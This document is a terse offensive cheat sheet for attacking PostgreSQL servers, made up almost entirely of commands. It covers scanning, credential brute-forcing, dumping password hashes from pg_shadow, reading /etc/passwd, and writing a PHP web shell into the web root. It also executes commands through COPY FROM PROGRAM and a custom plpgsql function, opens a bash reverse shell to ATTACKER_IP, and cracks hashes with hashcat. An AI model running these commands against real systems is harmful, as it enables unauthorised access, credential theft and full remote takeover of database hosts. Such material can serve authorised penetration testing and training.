5432 - PostgreSQL

nmap -sV -sC -p 5432 TARGET

psql -h TARGET -U postgres
psql -h TARGET -U postgres -d database_name
psql "postgresql://postgres:password@TARGET/database"

hydra -L users.txt -P passwords.txt postgres://TARGET
crackmapexec postgres TARGET -u postgres -p passwords.txt

SELECT version();
SELECT current_user;
SELECT usename, passwd FROM pg_shadow;
\l              -- List databases
\dt             -- List tables
\du             -- List users/roles
SELECT * FROM pg_database;

SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 1000);

CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;

COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

SELECT lo_import('/etc/passwd');
SELECT lo_export(OID, '/tmp/output');

SELECT usename, passwd FROM pg_shadow;

hashcat -m 12 hash.txt /usr/share/wordlists/rockyou.txt

CREATE OR REPLACE FUNCTION cmd(text) RETURNS void AS $$
BEGIN
    EXECUTE 'COPY (SELECT '''') TO PROGRAM ''' || $1 || '''';
END;
$$ LANGUAGE plpgsql;

SELECT cmd('id');

nmap -p 5432 --script pgsql-brute TARGET